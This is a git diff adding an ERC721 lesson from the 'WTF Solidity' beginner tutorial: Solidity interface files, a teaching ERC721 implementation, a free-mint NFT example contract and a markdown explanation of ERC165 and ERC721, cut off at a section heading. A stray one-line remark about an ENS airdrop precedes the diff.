The biggest airdrop I ever received was from `ENS`, how about you? diff --git a/SolidityBasics_Part3_Applications/step4/Address.sol b/SolidityBasics_Part3_Applications/step4/Address.sol new file mode 100644 index 000000000..67d012c6d --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/Address.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.1; + +// Address Lib +library Address { + // Uses extcodesize to determine whether an address is a contract address or not。 + function isContract(address account) internal view returns (bool) { + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } +} diff --git a/SolidityBasics_Part3_Applications/step4/ERC721.sol b/SolidityBasics_Part3_Applications/step4/ERC721.sol new file mode 100644 index 000000000..6cabdb5e8 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/ERC721.sol @@ -0,0 +1,269 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./IERC165.sol"; +import "./IERC721.sol"; +import "./IERC721Receiver.sol"; +import "./IERC721Metadata.sol"; +import "./Address.sol"; +import "./String.sol"; + +contract ERC721 is IERC721, IERC721Metadata{ + using Address for address; // Uses Address library and uses isContract to check whether an address is a contract + using Strings for uint256; // Uses String library + + // Token name + string public override name; + // Token symbol + string public override symbol; + // Mapping from token ID to owner address + mapping(uint => address) private _owners; + // Mapping owner address to balance of the token + mapping(address => uint) private _balances; + // Mapping from tokenId to approved address + mapping(uint => address) private _tokenApprovals; + // Mapping from owner to operator addresses' batch approvals + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * Initializes the contract by setting a `name` and a `symbol` to the token collection. + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + // Implements the supportsInterface of IERC165 + function supportsInterface(bytes4 interfaceId) + external + pure + override + returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId || + interfaceId == type(IERC721Metadata).interfaceId; + } + + // Implements the balanceOf function of IERC721, which uses `_balances` variable to check the balance of tokens in `owner`'s account. + function balanceOf(address owner) external view override returns (uint) { + require(owner != address(0), "owner = zero address"); + return _balances[owner]; + } + + // Implements the ownerOf function of IERC721, which uses `_owners` variable to check `tokenId`'s owner. + function ownerOf(uint tokenId) public view override returns (address owner) { + owner = _owners[tokenId]; + require(owner != address(0), "token doesn't exist"); + } + + // Implements the isApprovedForAll function of IERC721, which uses `_operatorApprovals` variable to check whether `owner` address's NFTs are authorized in batch to be held by another `operator` address. + function isApprovedForAll(address owner, address operator) + external + view + override + returns (bool) + { + return _operatorApprovals[owner][operator]; + } + + // Implements the setApprovalForAll function of IERC721, which approves all holding tokens to `operator` address. Invokes `_setApprovalForAll` function. + function setApprovalForAll(address operator, bool approved) external override { + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + // Implements the getApproved function of IERC721, which uses `_tokenApprovals` variable to check authorized address of `tokenId`. + function getApproved(uint tokenId) external view override returns (address) { + require(_owners[tokenId] != address(0), "token doesn't exist"); + return _tokenApprovals[tokenId]; + } + + // The approve function, which updates `_tokenApprovals` variable to approve `to` address to use `tokenId` and emits an Approval event. + function _approve( + address owner, + address to, + uint tokenId + ) private { + _tokenApprovals[tokenId] = to; + emit Approval(owner, to, tokenId); + } + + // Implements the approve function of IERC721, which approves `tokenId` to `to` address. + // Requirements: `to` is not `owner` and msg.sender is `owner` or an approved address. Invokes the _approve function. + function approve(address to, uint tokenId) external override { + address owner = _owners[tokenId]; + require( + msg.sender == owner || _operatorApprovals[owner][msg.sender], + "not owner nor approved for all" + ); + _approve(owner, to, tokenId); + } + + // Checks whether the `spender` address can use `tokenId` or not. (`spender` is `owner` or an approved address) + function _isApprovedOrOwner( + address owner, + address spender, + uint tokenId + ) private view returns (bool) { + return (spender == owner || + _tokenApprovals[tokenId] == spender || + _operatorApprovals[owner][spender]); + } + + /* + * The transfer function, which transfers `tokenId` from `from` address to `to` address by updating the `_balances` and `_owner` variables, emits a Transfer event. + * Requirements: + * 1. `tokenId` token must be owned by `from`. + * 2. `to` cannot be the zero address. + * 3. `from` cannot be the zero address. + */ + function _transfer( + address owner, + address from, + address to, + uint tokenId + ) private { + require(from == owner, "not owner"); + require(to != address(0), "transfer to the zero address"); + + _approve(owner, address(0), tokenId); + + _balances[from] -= 1; + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(from, to, tokenId); + } + + // Implements the transferFrom function of IERC721, we should not use it as it is not a safe transfer. Invokes the _transfer function. + function transferFrom( + address from, + address to, + uint tokenId + ) external override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _transfer(owner, from, to, tokenId); + } + + /** + * Safely transfers `tokenId` token from `from` to `to`, this function will check that contract recipients + * are aware of the ERC721 protocol to prevent tokens from being forever locked. It invokes the _transfer + * and _checkOnERC721Received functions. + * Requirements: + * 1. `from` cannot be the zero address. + * 2. `to` cannot be the zero address. + * 3. `tokenId` token must exist and be owned by `from`. + * 4. If `to` refers to a smart contract, it must support {IERC721Receiver-onERC721Received}. + */ + function _safeTransfer( + address owner, + address from, + address to, + uint tokenId, + bytes memory _data + ) private { + _transfer(owner, from, to, tokenId); + require(_checkOnERC721Received(from, to, tokenId, _data), "not ERC721Receiver"); + } + + /** + * Implements the safeTransferFrom function of IERC721 to safely transfer. It invokes the _safeTransfe function. + */ + function safeTransferFrom( + address from, + address to, + uint tokenId, + bytes memory _data + ) public override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _safeTransfer(owner, from, to, tokenId, _data); + } + + // an overloaded function for safeTransferFrom + function safeTransferFrom( + address from, + address to, + uint tokenId + ) external override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * The mint function, which updates `_balances` and `_owners` variables to mint `tokenId` and transfers it to `to`. It emits an Transfer event. + * This mint function can be used by anyone, developers need to rewrite this function and add some requirements in practice. + * Requirements: + * 1. `tokenId` must not exist. + * 2. `to` cannot be the zero address. + */ + function _mint(address to, uint tokenId) internal virtual { + require(to != address(0), "mint to zero address"); + require(_owners[tokenId] == address(0), "token already minted"); + + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(address(0), to, tokenId); + } + + // The destroy function, which destroys `tokenId` by updating `_balances` and `_owners` variables. It emits an Transfer event. Requirements: `tokenId` must exist. + function _burn(uint tokenId) internal virtual { + address owner = ownerOf(tokenId); + require(msg.sender == owner, "not owner of token"); + + _approve(owner, address(0), tokenId); + + _balances[owner] -= 1; + delete _owners[tokenId]; + + emit Transfer(owner, address(0), tokenId); + } + + // It invokes IERC721Receiver-onERC721Received when `to` address is a contract to prevent `tokenId` from being forever locked. + function _checkOnERC721Received( + address from, + address to, + uint tokenId, + bytes memory _data + ) private returns (bool) { + if (to.isContract()) { + return + IERC721Receiver(to).onERC721Received( + msg.sender, + from, + tokenId, + _data + ) == IERC721Receiver.onERC721Received.selector; + } else { + return true; + } + } + + /** + * Implements the tokenURI function of IERC721Metadata to query metadata. + */ + function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { + require(_owners[tokenId] != address(0), "Token Not Exist"); + + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; + } + + /** + * Base URI for computing {tokenURI}, which is the combination of `baseURI` and `tokenId`. Developers should rewrite this function accordingly. + * BAYC's baseURI is ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} diff --git a/SolidityBasics_Part3_Applications/step4/IERC165.sol b/SolidityBasics_Part3_Applications/step4/IERC165.sol new file mode 100644 index 000000000..33baac5dc --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/IERC165.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +/** + * @dev The standard interface of ERC165, see + * https://eips.ethereum.org/EIPS/eip-165[EIP] for more details. + * + * Smart contracts can declare the interfaces they support, for other contracts to check. + * + */ +interface IERC165 { + /** + * @dev Returns true if contract implements the `interfaceId` for querying. + * See https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] for the definition of what an interface is. + * + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step4/IERC721.sol b/SolidityBasics_Part3_Applications/step4/IERC721.sol new file mode 100644 index 000000000..5888e72eb --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/IERC721.sol @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC165.sol"; + +/** + * @dev he standard interface of ERC721. + */ +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes calldata data + ) external; + + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function transferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function approve(address to, uint256 tokenId) external; + + function setApprovalForAll(address operator, bool _approved) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function isApprovedForAll(address owner, address operator) external view returns (bool); +} diff --git a/SolidityBasics_Part3_Applications/step4/IERC721Metadata.sol b/SolidityBasics_Part3_Applications/step4/IERC721Metadata.sol new file mode 100644 index 000000000..7745bc42c --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/IERC721Metadata.sol @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IERC721Metadata { + function name() external view returns (string memory); + + function symbol() external view returns (string memory); + + function tokenURI(uint256 tokenId) external view returns (string memory); +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step4/IERC721Receiver.sol b/SolidityBasics_Part3_Applications/step4/IERC721Receiver.sol new file mode 100644 index 000000000..623b32d74 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/IERC721Receiver.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +// ERC721 receiver interface: Contracts must implement this interface to receive ERC721 tokens via safe transfers. +interface IERC721Receiver { + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external returns (bytes4); +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step4/String.sol b/SolidityBasics_Part3_Applications/step4/String.sol new file mode 100644 index 000000000..bdaead5e0 --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/String.sol @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol) + +pragma solidity ^0.8.21; + +/** + * @dev String operations. + */ +library Strings { + bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; + uint8 private constant _ADDRESS_LENGTH = 20; + + /** + * @dev Converts a `uint256` to its ASCII `string` decimal representation. + */ + function toString(uint256 value) internal pure returns (string memory) { + // Inspired by OraclizeAPI's implementation - MIT licence + // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol + + if (value == 0) { + return "0"; + } + uint256 temp = value; + uint256 digits; + while (temp != 0) { + digits++; + temp /= 10; + } + bytes memory buffer = new bytes(digits); + while (value != 0) { + digits -= 1; + buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); + value /= 10; + } + return string(buffer); + } + + /** + * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. + */ + function toHexString(uint256 value) internal pure returns (string memory) { + if (value == 0) { + return "0x00"; + } + uint256 temp = value; + uint256 length = 0; + while (temp != 0) { + length++; + temp >>= 8; + } + return toHexString(value, length); + } + + /** + * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. + */ + function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { + bytes memory buffer = new bytes(2 * length + 2); + buffer[0] = "0"; + buffer[1] = "x"; + for (uint256 i = 2 * length + 1; i > 1; --i) { + buffer[i] = _HEX_SYMBOLS[value & 0xf]; + value >>= 4; + } + require(value == 0, "Strings: hex length insufficient"); + return string(buffer); + } + + /** + * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation. + */ + function toHexString(address addr) internal pure returns (string memory) { + return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); + } +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step4/WTFApe.sol b/SolidityBasics_Part3_Applications/step4/WTFApe.sol new file mode 100644 index 000000000..1c11c8f3d --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/WTFApe.sol @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./ERC721.sol"; + +contract WTFApe is ERC721{ + uint public MAX_APES = 10000; // total amount + + // the constructor function + constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_){ + } + + // BAYC's baseURI is ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + // the mint function + function mint(address to, uint tokenId) external { + require(tokenId >= 0 && tokenId < MAX_APES, "tokenId out of range"); + _mint(to, tokenId); + } +} \ No newline at end of file diff --git a/SolidityBasics_Part3_Applications/step4/img/34-1.png b/SolidityBasics_Part3_Applications/step4/img/34-1.png new file mode 100644 index 000000000..56e15d658 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step4/img/34-1.png differ diff --git a/SolidityBasics_Part3_Applications/step4/img/34-2.png b/SolidityBasics_Part3_Applications/step4/img/34-2.png new file mode 100644 index 000000000..90da1b4b8 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step4/img/34-2.png differ diff --git a/SolidityBasics_Part3_Applications/step4/img/34-3.png b/SolidityBasics_Part3_Applications/step4/img/34-3.png new file mode 100644 index 000000000..0e88fcdf4 Binary files /dev/null and b/SolidityBasics_Part3_Applications/step4/img/34-3.png differ diff --git a/SolidityBasics_Part3_Applications/step4/img/34-4.png b/SolidityBasics_Part3_Applications/step4/img/34-4.png new file mode 100644 index 000000000..10700c7fb Binary files /dev/null and b/SolidityBasics_Part3_Applications/step4/img/34-4.png differ diff --git a/SolidityBasics_Part3_Applications/step4/img/34-5.png b/SolidityBasics_Part3_Applications/step4/img/34-5.png new file mode 100644 index 000000000..a3b3f561e Binary files /dev/null and b/SolidityBasics_Part3_Applications/step4/img/34-5.png differ diff --git a/SolidityBasics_Part3_Applications/step4/step1.md b/SolidityBasics_Part3_Applications/step4/step1.md new file mode 100644 index 000000000..be48e737e --- /dev/null +++ b/SolidityBasics_Part3_Applications/step4/step1.md @@ -0,0 +1,620 @@ +--- +title: 34. ERC721 +tags: + - solidity + - application + - wtfacademy + - ERC721 + - ERC165 + - OpenZeppelin +--- + +# WTF Solidity Beginner's Guide: 34. ERC721 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Tokens such as `BTC` and `ETH` belong to homogeneous tokens, and the first `BTC` mined is no different from the 10,000th `BTC` mined, and they are equivalent. However, many items in the world are heterogeneous, including real estate, antiques, virtual artworks, and so on. Such items cannot be abstracted using homogeneous tokens. Therefore, the `ERC721` standard was proposed in [Ethereum EIP721](https://eips.ethereum.org/EIPS/eip-721) to abstract non-homogeneous items. In this section, we will introduce the `ERC721` standard and issue an `NFT` based on it. + +## EIP and ERC + +One point to understand here is that the title of this section is `ERC721`, but `EIP721` also is mentioned here. What is the relationship between the two? + +`EIP` stands for `Ethereum Improvement Proposals`, which are improvement suggestions proposed by the Ethereum developer community. They are a series of documents arranged by numbers, similar to IETF's RFC on the Internet. + +`EIP` can be any improvement in the Ethereum ecosystem, such as new features, ERC standards, protocol improvements, programming tools, etc. + +`ERC` stands for Ethereum Request For Comment and is used to record various application-level development standards and protocols on Ethereum. Typical token standards (`ERC20`, `ERC721`), name registration (`ERC26`, `ERC13`), URI paradigms (`ERC67`), Library/Package formats (`EIP82`), wallet formats (`EIP75`, `EIP85`), etc. + +`ERC` protocol standards are important factors affecting the development of Ethereum. ERC20, ERC223, ERC721, ERC777, etc. have had a significant impact on the Ethereum ecosystem. + +So the final conclusion: `EIP` contains `ERC`. + +**After completing this section of learning, you can understand why we start with `ERC165` rather than `ERC721`. If you want to see the conclusion, you can directly move to the bottom** + +Through the [ERC165 standard](https://eips.ethereum.org/EIPS/eip-165), smart contracts can declare the interfaces they support, for other contracts to check. Simply put, `ERC165` is used to check whether a smart contract supports the interfaces of `ERC721` or `ERC1155`. + +The interface contract `IERC165` only declares a `supportsInterface` function. When given an `interfaceId` to query, it returns `true` if the contract implements that interface id. + +```solidity +interface IERC165 { + /** + * @dev Returns true if contract implements the `interfaceId` for querying. + * See https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] for the definition of what an interface is. + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} +``` + +We can see how the `supportsInterface()` function is implemented in `ERC721`: + +```solidity + function supportsInterface(bytes4 interfaceId) external pure override returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId; + } +``` + +When querying the interface ID of `IERC721` or `IERC165`, it will return `true`; otherwise, it will return `false`. + +## IERC721 + +`IERC721` is an interface contract for the `ERC721` standard, which specifies the basic functions that `ERC721` must implement. It uses `tokenId` to represent specific non-fungible tokens, and authorization or transfer requires an explicit `tokenId`; while `ERC20` only requires an explicit transfer amount. + +```solidity +/** + * @dev ERC721 standard interface. + */ +interface IERC721 is IERC165 { + event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); + event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); + event ApprovalForAll(address indexed owner, address indexed operator, bool approved); + + function balanceOf(address owner) external view returns (uint256 balance); + + function ownerOf(uint256 tokenId) external view returns (address owner); + + function safeTransferFrom( + address from, + address to, + uint256 tokenId, + bytes calldata data + ) external; + + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function transferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function approve(address to, uint256 tokenId) external; + + function setApprovalForAll(address operator, bool _approved) external; + + function getApproved(uint256 tokenId) external view returns (address operator); + + function isApprovedForAll(address owner, address operator) external view returns (bool); +} +``` + +### IERC721 Events +`IERC721` has three events, `Transfer` and `Approval` events are also in `ERC20`. +- `Transfer` event: emitted during transfer, records the sender `from` address, receiver `to` address, and token `tokenid`. +- `Approval` event: emitted during approval, records the owner `owner` of the approval, the approved `approved` address, and the `tokenid`. +- `ApprovalForAll` event: emitted during bulk approval, records the sender `owner` of the bulk approval, the `operator` address to be authorized, and the flag `approved` to identify whether the `operator` is approved or not. + +### IERC721 Functions +- `balanceOf`: returns the NFT holding `balance` of an address. +- `ownerOf`: returns the `owner` of a certain `tokenId`. +- `transferFrom`: normal transfer, with the parameters of the sender `from`, receiver `to` and `tokenId`. +- `safeTransferFrom`: safe transfer, which requires the implementation of the `ERC721Receiver` interface if the destination address is a contract address. With the parameters of the sender `from`, receiver `to` and `tokenId`. +- `approve`: authorizes another address to use your NFT. With the parameters of the authorized `to` address and `tokenId`. +- `getApproved`: returns the address to which the `tokenId` is approved. +- `setApprovalForAll`: authorizes the `operator` address to hold the NFTs owned by the sender in batch. +- `isApprovedForAll`: returns whether a certain address's NFTs are authorized to be held by another `operator` address. +- `safeTransferFrom`: an overloaded function for safe transfer, with `data` included in the parameters. + +## IERC721Receiver + +If a contract does not implement the relevant functions of `ERC721`, the incoming NFT will be stuck and unable to be transferred out, causing a loss of the token. In order to prevent accidental transfers, `ERC721` implements the `safeTransferFrom()` function, and the target contract must implement the `IERC721Receiver` interface in order to receive `ERC721` tokens, otherwise, it will `revert`. The `IERC721Receiver` interface only includes an `onERC721Received()` function. + +```solidity +// ERC721 receiver interface: Contracts must implement this interface to receive ERC721 tokens via safe transfers. +interface IERC721Receiver { + function onERC721Received( + address operator, + address from, + uint tokenId, + bytes calldata data + ) external returns (bytes4); +} +``` + +Let's take a look at how `ERC721` uses `_checkOnERC721Received` to ensure that the target contract implements the `onERC721Received()` function (returning the `selector` of `onERC721Received`). + +```solidity + function _checkOnERC721Received( + address from, + address to, + uint tokenId, + bytes memory _data + ) private returns (bool) { + if (to.isContract()) { + return + IERC721Receiver(to).onERC721Received( + msg.sender, + from, + tokenId, + _data + ) == IERC721Receiver.onERC721Received.selector; + } else { + return true; + } + } +``` + +## IERC721Metadata +`IERC721Metadata` is an extended interface of `ERC721`, which implements `3` commonly used functions for querying `metadata`: + +- `name()`: Returns the name of the token. +- `symbol()`: Returns the symbol of the token. +- `tokenURI()`: Returns the URL of the `metadata` by querying through `tokenId`, a unique function of `ERC721`. + +```solidity +interface IERC721Metadata is IERC721 { + function name() external view returns (string memory); + + function symbol() external view returns (string memory); + + function tokenURI(uint256 tokenId) external view returns (string memory); +} +``` + +## ERC721 Main Contract +The `ERC721` main contract implements all the functionalities defined by `IERC721`, `IERC165` and `IERC721Metadata`. It includes `4` state variables and `17` functions. The implementation is rather simple, the functionality of each function is explained in the code comments: + +```solidity +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./IERC165.sol"; +import "./IERC721.sol"; +import "./IERC721Receiver.sol"; +import "./IERC721Metadata.sol"; +import "./Address.sol"; +import "./String.sol"; + +contract ERC721 is IERC721, IERC721Metadata{ + using Address for address; // Uses Address library and uses isContract to check whether an address is a contract + using Strings for uint256; // Uses String library + + // Token name + string public override name; + // Token symbol + string public override symbol; + // Mapping from token ID to owner address + mapping(uint => address) private _owners; + // Mapping owner address to balance of the token + mapping(address => uint) private _balances; + // Mapping from tokenId to approved address + mapping(uint => address) private _tokenApprovals; + // Mapping from owner to operator addresses' batch approvals + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * Initializes the contract by setting a `name` and a `symbol` to the token collection. + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + // Implements the supportsInterface of IERC165 + function supportsInterface(bytes4 interfaceId) + external + pure + override + returns (bool) + { + return + interfaceId == type(IERC721).interfaceId || + interfaceId == type(IERC165).interfaceId || + interfaceId == type(IERC721Metadata).interfaceId; + } + + // Implements the balanceOf function of IERC721, which uses `_balances` variable to check the balance of tokens in `owner`'s account. + function balanceOf(address owner) external view override returns (uint) { + require(owner != address(0), "owner = zero address"); + return _balances[owner]; + } + + // Implements the ownerOf function of IERC721, which uses the `_owners` variable to check `tokenId`'s owner. + function ownerOf(uint tokenId) public view override returns (address owner) { + owner = _owners[tokenId]; + require(owner != address(0), "token doesn't exist"); + } + + // Implements the isApprovedForAll function of IERC721, which uses the `_operatorApprovals` variable to check whether the `owner` address's NFTs are authorized in batch to be held by another `operator` address. + function isApprovedForAll(address owner, address operator) + external + view + override + returns (bool) + { + return _operatorApprovals[owner][operator]; + } + + // Implements the setApprovalForAll function of IERC721, which approves all holding tokens to the `operator` address. Invokes `_setApprovalForAll` function. + function setApprovalForAll(address operator, bool approved) external override { + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + // Implements the getApproved function of IERC721, which uses the `_tokenApprovals` variable to check the authorized address of `tokenId`. + function getApproved(uint tokenId) external view override returns (address) { + require(_owners[tokenId] != address(0), "token doesn't exist"); + return _tokenApprovals[tokenId]; + } + + // The approve function, which updates the `_tokenApprovals` variable to approve `to` address to use `tokenId` and emits an Approval event. + function _approve( + address owner, + address to, + uint tokenId + ) private { + _tokenApprovals[tokenId] = to; + emit Approval(owner, to, tokenId); + } + + // Implements the approve function of IERC721, which approves `tokenId` to `to` address. + // Requirements: `to` is not `owner` and msg.sender is `owner` or an approved address. Invokes the _approve function. + function approve(address to, uint tokenId) external override { + address owner = _owners[tokenId]; + require( + msg.sender == owner || _operatorApprovals[owner][msg.sender], + "not owner nor approved for all" + ); + _approve(owner, to, tokenId); + } + + // Checks whether the `spender` address can use `tokenId` or not. (`spender` is `owner` or an approved address) + function _isApprovedOrOwner( + address owner, + address spender, + uint tokenId + ) private view returns (bool) { + return (spender == owner || + _tokenApprovals[tokenId] == spender || + _operatorApprovals[owner][spender]); + } + + /* + * The transfer function, which transfers `tokenId` from `from` address to `to` address by updating the `_balances` and `_owner` variables, emits a Transfer event. + * Requirements: + * 1. `tokenId` token must be owned by `from`. + * 2. `to` cannot be the zero address. + * 3. `from` cannot be the zero address. + */ + function _transfer( + address owner, + address from, + address to, + uint tokenId + ) private { + require(from == owner, "not owner"); + require(to != address(0), "transfer to the zero address"); + + _approve(owner, address(0), tokenId); + + _balances[from] -= 1; + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(from, to, tokenId); + } + + // Implements the transferFrom function of IERC721, we should not use it as it is not a safe transfer. Invokes the _transfer function. + function transferFrom( + address from, + address to, + uint tokenId + ) external override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _transfer(owner, from, to, tokenId); + } + + /** + * Safely transfers `tokenId` token from `from` to `to`, this function will check that contract recipients + * are aware of the ERC721 protocol to prevent tokens from being forever locked. It invokes the _transfer + * and _checkOnERC721Received functions. + * Requirements: + * 1. `from` cannot be the zero address. + * 2. `to` cannot be the zero address. + * 3. `tokenId` token must exist and be owned by `from`. + * 4. If `to` refers to a smart contract, it must support {IERC721Receiver-onERC721Received}. + */ + function _safeTransfer( + address owner, + address from, + address to, + uint tokenId, + bytes memory _data + ) private { + _transfer(owner, from, to, tokenId); + require(_checkOnERC721Received(from, to, tokenId, _data), "not ERC721Receiver"); + } + + /** + * Implements the safeTransferFrom function of IERC721 to safely transfer. It invokes the _safeTransfe function. + */ + function safeTransferFrom( + address from, + address to, + uint tokenId, + bytes memory _data + ) public override { + address owner = ownerOf(tokenId); + require( + _isApprovedOrOwner(owner, msg.sender, tokenId), + "not owner nor approved" + ); + _safeTransfer(owner, from, to, tokenId, _data); + } + + // an overloaded function for safeTransferFrom + function safeTransferFrom( + address from, + address to, + uint tokenId + ) external override { + safeTransferFrom(from, to, tokenId, ""); + } + + /** + * The mint function, which updates `_balances` and `_owners` variables to mint `tokenId` and transfers it to `to`. It emits a Transfer event. + * This mint function can be used by anyone, developers need to rewrite this function and add some requirements in practice. + * Requirements: + * 1. `tokenId` must not exist. + * 2. `to` cannot be the zero address. + */ + function _mint(address to, uint tokenId) internal virtual { + require(to != address(0), "mint to zero address"); + require(_owners[tokenId] == address(0), "token already minted"); + + _balances[to] += 1; + _owners[tokenId] = to; + + emit Transfer(address(0), to, tokenId); + } + + // The destroy function, which destroys `tokenId` by updating `_balances` and `_owners` variables. It emits an Transfer event. Requirements: `tokenId` must exist. + function _burn(uint tokenId) internal virtual { + address owner = ownerOf(tokenId); + require(msg.sender == owner, "not owner of token"); + + _approve(owner, address(0), tokenId); + + _balances[owner] -= 1; + delete _owners[tokenId]; + + emit Transfer(owner, address(0), tokenId); + } + + // It invokes IERC721Receiver-onERC721Received when `to` address is a contract to prevent `tokenId` from being forever locked. + function _checkOnERC721Received( + address from, + address to, + uint tokenId, + bytes memory _data + ) private returns (bool) { + if (to.isContract()) { + return + IERC721Receiver(to).onERC721Received( + msg.sender, + from, + tokenId, + _data + ) == IERC721Receiver.onERC721Received.selector; + } else { + return true; + } + } + + /** + * Implements the tokenURI function of IERC721Metadata to query metadata. + */ + function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { + require(_owners[tokenId] != address(0), "Token Not Exist"); + + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; + } + + /** + * Base URI for computing {tokenURI}, which is the combination of `baseURI` and `tokenId`. Developers should rewrite this function accordingly. + * BAYC's baseURI is ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} +``` + +## Write a Free Minting APE +Let's use `ERC721` to write a free minting `WTF APE`, with a total quantity of `10000`. We just need to rewrite the `mint()` and `baseURI()` functions. The `baseURI()` will be set the same as `BAYC`, where the metadata will directly obtain the information of the uninteresting apes, similar to [RRBAYC](https://rrbayc.com/): + +```solidity +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./ERC721.sol"; + +contract WTFApe is ERC721{ + uint public MAX_APES = 10000; // total amount + + // the constructor function + constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_){ + } + + // BAYC's baseURI is ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + // the mint function + function mint(address to, uint tokenId) external { + require(tokenId >= 0 && tokenId < MAX_APES, "tokenId out of range"); + _mint(to, tokenId); + } +} +``` + +## Issuing 